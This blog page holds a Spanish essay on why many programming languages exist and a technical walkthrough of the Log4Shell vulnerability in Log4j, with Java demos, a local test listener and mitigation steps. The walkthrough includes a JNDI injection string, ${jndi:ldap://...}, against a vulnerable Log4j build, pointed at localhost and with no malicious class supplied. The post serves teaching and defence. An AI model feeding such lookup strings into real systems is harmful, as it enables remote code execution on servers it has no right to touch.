domingo, 13 de febrero de 2022

¿Por qué hay tantos lenguajes de programación? ¿No podemos crear un solo lenguaje para hacer todo?

Este post es una copia de una respuesta que di en Quora a la pregunta " ¿Por qué hay tantos lenguajes de programación? ¿No podemos crear un solo lenguaje para hacer todo? Sería más fácil, ¿no? , y que se me hizo interesante el tema sobre todo por los temas que hemos tratado en el blog.


Hay que considerar la historia y los motivos para que esto sea así.

La necesidad de poder expresar procesos y "algoritmos" precede incluso a la programación como tal. Es la necesidad de poder definir como se hacen las cosas, de una forma clara y sin ambigüedades.


Los lenguajes declarativos, aquellos en los que expresamos que deseamos obtener y no como obtenerlos preceden en fecha a cualquier tipo de lenguaje e incluso arquitectura avanzada, pero no era posible implementarles en las primeras maquinas.

Las primeras maquinas reales y prácticas que permitían programación era los telares (para generar distintos diseños y formas) y lo que se programaba era el hardware mediante la dispositivo física del mismo.

A parte de lo anterior, el primer concepto de programación era combinaciones de unos y ceros, que la maquina interpretaba como instrucciones.

Evidentemente eso era imposible para comprender para un ser humano (cuando aumentaba la complejidad de un programa), con los que se inventaron mnemotécnicos, para que fuera más "entendible" y se pudiera memorizar de forma más sencilla. Así nació el ensamblador, que es simplemente un conjunto de instrucciones que representa literalmente combinaciones de unos y ceros.

Al principio se hacia el programa en ensamblador y se traducía manualmente en unos o ceros.

Cuando mas evoluciona el hardware (e evoluciona mas cada vez más rápido), fue patente que era necesario que los lenguajes fueran más sencillos y más claros, por que el tiempo era algo fundamente, si podías hacer (y vender) un sistema en la mitad de tiempo, ¿por que ibas a tardar el doble?

Así sugirieron lenguajes como FORTRAN para que los científicos (que no tenían por qué ser ingenieros informáticos), pudieran usar las capacidades de computación de "alta" rendimiento, COBOL para que las instituciones (bancarias principalmente) pudieran gestionar el negocio y la contabilidad de su empresa, y posteriormente C, un lenguaje para programar maquinas de forma genérica, incluso BASIC que su principal atractivo era programar de forma fácil.

La creación de estos lenguajes, junto con el abaratamiento del hardware, provoco un boom de la informática. Todo el mundo de una forma u otra, quería incursionar en este mundo, para distintos fines.

Y eso creo el primer problema del mantenimiento del software; el software era muy difícil de mantener y cuando lo mantenías para cambiar algo las posibilidades de que estropearas algo era extremadamente grande. Hacer software cada vez más complejo y que pudieran cambiarse y modificarse según las necesidades de un negocio, era menos que imposible.

Por eso se crearon nuevos paradigmas y lenguajes cuyo principal atractivo era que son fáciles de mantener, así surgió los paradigmas estructuramos, modular y finalmente orientado a objetos.

Pero las necesidades seguían evolucionando, mientras que antes podrías hacer un sistema en modo texto que resolviera para todas las necesidades de un negocio, ahora se necesitaban que fuera gráfico para simplificar su uso o que este interconectado entre sí y con otros sistemas.

Así nacieron cosas como las bases de datos, las interfaces graficas y la programación orientada a eventos.

Debido a que los sistemas seguían siendo cada vez más complejos surgieron lenguajes cada vez más específicos llamados DSL, lenguajes específicos del domino, que son lenguajes que no tienen un propósito general y están creados para resolver un problema en particular, los más conocidos (y usados) son SQL para generar consultas a base de datos y HTML (y relacionados como CSS) para ofrecer información a través de un navegador web.

También surgieron lenguajes que aunque pudieran ser generales tiene una "especialización", hacia algún lado, PHP para desarrollo web, Java (actualmente) y C# para el desarrollo empresarial, y así.

La constante en todo esto es que las necesidades de desarrollo de software cada vez son más y deben ser resueltas de forma más rápida y los productos que se crean para resolver estás necesidades deben ser adaptables de forma sencillas.

Lo anterior hace que los lenguajes evolucionen buscando ser más abstractos y fáciles de mantener e independientes de las máquinas dónde se ejecutan y por otro lado se crean nuevos lenguajes especializados que aprovechan las capacidades de cada profesional, como la separación de las tecnologías de frontend o backend, o el desarrollo de aplicaciones móviles o de servicios.


Puedes leer los siguientes enlaces donde se habla más de estos motivos e históricamente de la evolución de los lenguajes de programación.


Y particularmente este


Si te ha gustado la entrada, ¡Compártela! ;-)

sábado, 5 de febrero de 2022

Análisis técnico de la vulnerabilidad Log4Shell


Log4Shell fue (¿es?) una vulnerabilidad descubierta a finales de noviembre del 2021 (CVE-2021-44228) por la que un atacante podría ejecutar código malicioso dentro de un servidor ajeno de una forma extremadamente simple y que casi puso internet patas arriba. Vamos a analizar el tema técnicamente.

Recursos para este artículo


Puedes encontrar el código fuente de todo el artículo en:


Puedes encontrar las versiones vulnerables de Log4J en:


Y la última versión no vulnerable en:


Descárgate el código de ejemplo, y descomprime los zips descargados en la carpeta src, de la siguiente forma:


¿Qué es Log4j?


Apache Log4j es una librería de código abierto muy popular para logs en java. Es extremadamente versátil y escalable.

Entiéndase como logs, el registro de mensajes o sucesos de los que se quiere dejar una constancia tal como si fuera una bitácora. Para ellos se puede usar Apache Log4j.

De forma muy sencilla se indica al Log4J que debe guardar el evento, que entre otros podría ser un error, una advertencia, o un mensaje informativo. El evento o mensaje a guardar es transformado (en caso de ser necesario) y almacenado en un repositorio.

El cómo es transformado nuestro mensaje y cuál es el repositorio donde va a ser guardado es algo que se puede elegir por configuración y que es totalmente ajeno a nuestro programa. El repositorio pudiera ser:

  • La misma consola (es decir el mensaje se muestra por consola).
  • Un archivo de texto.
  • Una base de datos.
  • Un correo electrónico.
  • Incluso podría ser un WebService.
  • O cualquier cosa que se nos ocurra a futuro.

Aquí hay una se las principales ventajas de la arquitectura del Log4J. Nuestros sistemas desconocen (y no tienen que preocuparse) acerca de cómo y dónde se van a guardar nuestras bitácoras ya que esto se puede configura fuera de manera externa.

Hay una separación clara del negocio que resuelve nuestra aplicación, y de aspectos técnicos, en cierta manera “intrascendentes” sobre cómo y donde se guardan nuestros logs, lo cual es lo ideal en un desarrollo empresarial de software.

Veamos un ejemplo de cómo funciona esto:

Log4ShellEjemplo1.java
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Log4ShellEjemplo1 {
 
    public static void main(String[] args) {
 
        //Creola clase encargada de las bitacoras
        Logger logger = LogManager.getLogger(Log4ShellEjemplo1.class);
 
        //Creo la clase para leer stdin
        Scanner in = new Scanner(System.in);
 
        //Presetacion de la aplicación
        System.out.println("Bienvenido a la aplicacion, por favor indique su usuario.");
        System.out.println();
 
        //Solictud de usuario
        System.out.print("Usuario: ");
        String usuario = in.nextLine();
 
        // ....
 
        //Se avisa que el usuario no es correcto y se guarda un evento en la bitacora
        System.out.println("Su usuario es incorrecto.");
        logger.error("El usuario '%s' es incorrecto.".formatted(usuario));
 
    }
}
 
 
public class Log4ShellEjemplo1 {

    public static void main(String[] args) {

        //Creola clase encargada de las bitacoras
        Logger logger = LogManager.getLogger(Log4ShellEjemplo1.class);

        //Creo la clase para leer stdin
        Scanner in = new Scanner(System.in);

        //Presetacion de la aplicación
        System.out.println("Bienvenido a la aplicacion, por favor indique su usuario.");
        System.out.println();

        //Solictud de usuario
        System.out.print("Usuario: ");
        String usuario = in.nextLine();

        // ....

        //Se avisa que el usuario no es correcto y se guarda un evento en la bitacora
        System.out.println("Su usuario es incorrecto.");
        logger.error("El usuario '%s' es incorrecto.".formatted(usuario));

    }
}
Log4ShellEjemplo1.cmd
 
1
2
3
4
5
6
7
8
@ECHO OFF
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java Log4ShellEjemplo1.java
PAUSE
 
 
@ECHO OFF

REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java Log4ShellEjemplo1.java
PAUSE

En el ejemplo anterior se da la bienvenida a una aplicación y se pide un usuario para acceder, se indica que dicho usuario es incorrecto, y se guarda el suceso por medio de Log4J.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Desde las horas extras

Su usuario es incorrecto.

19:32:27.246 [main] ERROR Log4ShellEjemplo1 - El usuario 'Desde las horas extras' es incorrecto.

Presione una tecla para continuar . . .

Sin ninguna configuración por defecto, el “repositorio” para guarda los registros en la misma pantalla (es decir que simplemente se imprimirá el mensaje).

Ahora vamos agregar un archivo de configuración para que en lugar de mostrar la bitácora por pantalla, lo guarde en un archivo de texto (Log4ShellEjemplo2.log), lo que sería mucho más común:

Log4ShellEjemplo2.cmd
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
status = error
name = Log4j2PropertiesConfig
 
appenders = file
 
appender.file.type = File
appender.file.name = FileLogger
appender.file.filename = Log4ShellEjemplo2.log
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d [%t] %-5p %c - %m%n
 
rootLogger.level = debug
rootLogger.appenderRefs = file
rootLogger.appenderRef.file.ref = FileLogger
 
 
status = error
name = Log4j2PropertiesConfig

appenders = file

appender.file.type = File
appender.file.name = FileLogger
appender.file.filename = Log4ShellEjemplo2.log
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d [%t] %-5p %c - %m%n

rootLogger.level = debug
rootLogger.appenderRefs = file
rootLogger.appenderRef.file.ref = FileLogger
Log4ShellEjemplo2.properties
 
1
2
3
4
5
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j.configurationFile=Log4ShellEjemplo2.properties Log4ShellEjemplo1.java
 
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j.configurationFile=Log4ShellEjemplo2.properties Log4ShellEjemplo1.java

Vemos como no hemos tenido que modificar código para modificar esta funcionalidad, simplemente hemos realizado una configuración.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Desde las horas extras

Su usuario es incorrecto.

Presione una tecla para continuar . . .


Por comodidad, seguiremos trabajando con el ejemplo uno y revisaremos los resultados por pantalla.

Uso de Lookups


Los Lookups son una caracterista de Log4J que permite sustituir ciertos valores en el mensaje indicado, por valores almacenados en memoria o obtenidos al vuelo al momento de realizar el log.

Por ejemplo si quisiera guardar el runtime de java podría usar el siguiente Lookup {java:runtime} o si quisiera la versión del sistema operativo pudiera usar esta {java:os}

Veamos esto funcionando, en el lugar de nuestro usuario vamos a poner la siguiente cadena Nuestro usuario es ${java:os}

En la salida del programa se ve la versión del sistema operativo.

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Nuestro usuario es ${java:os}

Su usuario es incorrecto.

20:11:23.595 [main] ERROR Log4ShellEjemplo1 - El usuario 'Nuestro usuario es Windows 10 10.0, architecture: amd64-64' es incorrecto.

Presione una tecla para continuar . . .

Parece raro o poco conveniente, que un valor introducido por un usuario modifique lo que se va guardar en el lo g , aunque se podría alegar que de todas formas dicho valor o modificación se guarda en los medios que dispone la aplicación para tal efecto.

Pero los Lookups , son mucho más avanzados, pueden por ejemplo obtener el valor de a escribir en el log mediante HTTP, LDAP o RMI (entre otros) es decir mediante una conexión externa a equipos

Preparación para estudiar la vulnerabilidad


Para entender de manera segura la vulnerabilidad, se creó un simple programa servidor en java, que lo único que hace es esperar una conexiones y mostrar lo que se envié por pantalla.

SimpleJavaServer.java
 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) {
 
   //Reviso el puerto
   if (args.length < 1) {
     System.out.println("Debe especificar el puerto.");
     return;
   }
   int port = Integer.parseInt(args[0]);
 
   //Abro el sockect de escucha
   try (ServerSocket serverSocket = new ServerSocket(port)) {
 
     while (true) {
 
       //Quedo en espera
       System.out.println("Escuchando en el puerto " + port + ".");
       Socket socket = serverSocket.accept();
       System.out.println("Cliente conectado\n");
 
       //Creo el buffer de lectura
       InputStream input = socket.getInputStream();
       int buffSize = socket.getReceiveBufferSize();
       byte[] bytes = new byte[buffSize];
 
       //Leo los datos y cierro la conexiones
       int count = input.read(bytes);
       System.out.write(bytes, 0, count);
       socket.close();
       System.out.println();
        
     }
 
   } catch (IOException ex) {
     System.out.println("Server exception: " + ex.getMessage());
     ex.printStackTrace();
   }
 }
 
 
public static void main(String[] args) {

   //Reviso el puerto
   if (args.length < 1) {
     System.out.println("Debe especificar el puerto.");
     return;
   }
   int port = Integer.parseInt(args[0]);

   //Abro el sockect de escucha
   try (ServerSocket serverSocket = new ServerSocket(port)) {

     while (true) {

       //Quedo en espera
       System.out.println("Escuchando en el puerto " + port + ".");
       Socket socket = serverSocket.accept();
       System.out.println("Cliente conectado\n");

       //Creo el buffer de lectura
       InputStream input = socket.getInputStream();
       int buffSize = socket.getReceiveBufferSize();
       byte[] bytes = new byte[buffSize];

       //Leo los datos y cierro la conexiones
       int count = input.read(bytes);
       System.out.write(bytes, 0, count);
       socket.close();
       System.out.println();
       
     }

   } catch (IOException ex) {
     System.out.println("Server exception: " + ex.getMessage());
     ex.printStackTrace();
   }
 }
SimpleJavaServer.cmd
 
1
2
3
REM Ejecuto el ejemplo.
java SimpleJavaServer.java 8888
PAUSE
 
 
REM Ejecuto el ejemplo.
java SimpleJavaServer.java 8888
PAUSE

Si hacemos una petición en nuestro navegador a http://127.0.0.1:8888/ejemplo obtendremos el siguiente resultado.

Escuchando en el puerto 8888.
Cliente conectado
GET /ejemplo HTTP/1.1
Host: 127.0.0.1:8888
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: es-US,es-419;q=0.9,es;q=0.8,en;q=0.7

Explicación de la vulnerabilidad


Lo grave de la vulnerabilidad Log4Shell, es poder ejecutar código en el sistema que está usando el log , es decir en un servidor web que será víctima de un ataque, de una forma bastante simple.

Esto se consigue usando protocolos como LDAP o RMI:

  • LDAP: Ofrece una organización estructurada de objetos, a la que se puede realizar consultas, muy utilizado empresarialmente.
  • RMI: Es un protocolo para ejecución y acceso a código remoto en Java.

Ambos permiten exportar una clase de java, que se instancian y ejecutara en una maquina ajena que lo solicite. Es decir si por ejemplo guardamos un log de la siguiente forma (con una versión log4j vulnerable):

Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Se conecta al servidor 127.0.0.1 y descarga una clase Java posiblemente maliciosa que ejecutar en el contexto de la aplicación (el servidor web en casi todo el caso). Específicamente ejecutará el código ToString() de la c lase maliciosa , para intentar obtener una cadena de texto que guardar en el log. En dicho ToString() estará el código que se ejecutará en el servidor.


Veamos nuestro ejemplo y como ciertamente se intenta conectar al servidor (omitimos la parte del envío y la creación de la clase maliciosa):

  • Iniciamos SimpleJavaServer.cmd
  • Iniciamos Log4ShellEjemplo1.java
Utilizamos la cadena Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Ejecución de Log4ShellEjemplo1

Bienvenido a la aplicacion, por favor indique su usuario.

Usuario: Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}

Su usuario es incorrecto.

20:59:47.680 [main] ERROR Log4ShellEjemplo1 - El usuario 'Mi usuario es ${jndi:ldap://127.0.0.1:8888/ejemplo}' es incorrecto.

Presione una tecla para continuar . . .

Resultado en SimpleJavaServer


Vemosque efectivamente se conecta y hace una petición (la cadena de texto no es sustitutiva ni ejecutada por qué en el ejemplo no se devuelve una clase maliciosa)

Los caracteres extraños que se muestran es parte de la petición ldap, como no hay una respuesta satisfactoria (por parte del programa de pruebas) se cierra la conexión.

Actualización a versiones no vulnerables


Las versiones vulnerable son desde la versión2.0 a la2.14.x , en la versión2.15 la funcionalidad esta deshabilitada por defecto y en la2.16 la funcionalidad se removió completamente.

Hay que considerar que esta vulnerabilidad afecta a versiones de log4j para Java, con lo que tenemos que tener (en ejecución) algún sistema java, como una servidor o aplicación web con aplicaciones en Java, que use las versiones vulnerables.

Otros frameworks para guardar logs, o en otras tecnologías (como NLog), no son vulnerables por esta circunstancia específica (aunque pueden tener otras vulnerabilidades específicas o no descubiertas que nada tienen que ver con ese tema).

¿Cómo se mitiga el efecto?


La forma más segura de mitigar el efecto es actualizar nuestro software a versiones que no son vulnerables.

Si esto no es posible, se puede deshabilitar la funcionalidad de Lookups, al configurar la máquina virtual de java con el siguiente parámetro.

-Dlog4j2.formatMsgNoLookups=true

Log4ShellEjemplo3.cmd
 
1
2
3
4
5
6
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE
 
 
REM CLASSPATH con las versiones vulnerables.
SET CLASSPATH=apache-log4j-2.14.1-bin\log4j-core-2.14.1.jar;apache-log4j-2.14.1-bin\log4j-api-2.14.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE

Otra forma de mitigar el efecto, si la actualización no es posible, es descomprimir el jar de log4j, borrar la clase JndiLookup.class y volver a generar el jar.

Ejemplo con versiones no vulnerables


Log4ShellEjemplo4.cmd
 
1
2
3
4
5
6
REM CLASSPATH con las versiones no vulnerables.
SET CLASSPATH=apache-log4j-2.17.1-bin\log4j-core-2.17.1.jar;apache-log4j-2.17.1-bin\log4j-api-2.17.1.jar
 
REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE
 
 
REM CLASSPATH con las versiones no vulnerables.
SET CLASSPATH=apache-log4j-2.17.1-bin\log4j-core-2.17.1.jar;apache-log4j-2.17.1-bin\log4j-api-2.17.1.jar

REM Ejecuto el ejemplo.
java -Dlog4j2.formatMsgNoLookups=true Log4ShellEjemplo1.java
PAUSE

Conclusiones finales


Esta vulnerabilidad fue especialmente peligrosa por dos motivos :

  • La cantidad de sitios creados en Java, y que usan log4j es inmensa, además que s on máquinas que forzosamente están conectadas a internet.
  • El modelo de distribución de componentes y aplicaciones en java (basado en jar y parecidos), a diferencia del modelo clásico de librerías comunes, es difícil de actualizar . Frecuentemente se distribuyen todas las dependencias (como log4j) como parte de la aplicación final y esto implicaría que puede estar muchas veces duplicado en una mism a máquina y su sustitución no es fácil (si hay que hacerla de forma inmediata, como este caso).

Hay que considerar que uno de los problemas de esta vulnerabilidad es que ofrece una funcionalidad que estaba activada por defecto y que además permitía salir por defecto a obtener información de otras máquinas, sin ninguna restricción aparente. Puede que esta funcionalidad fuera interesante, y puede que hasta conveniente en algunos casos particulares, pero el hecho de no estar restringido desde un momento, es lo que lo hace demasiado ingenua. Recordemos que nuestra seguridad y nuestro diseño debe estar pensando como una “lista blanca”, en lugar de una “lista negra” (es decir nuestro diseños de seguridad se deben basar en habilitar funcionalidad y permisos explícitamente y no en negarlos explícitamente)




Si te ha gustado la entrada, ¡Compártela! ;-)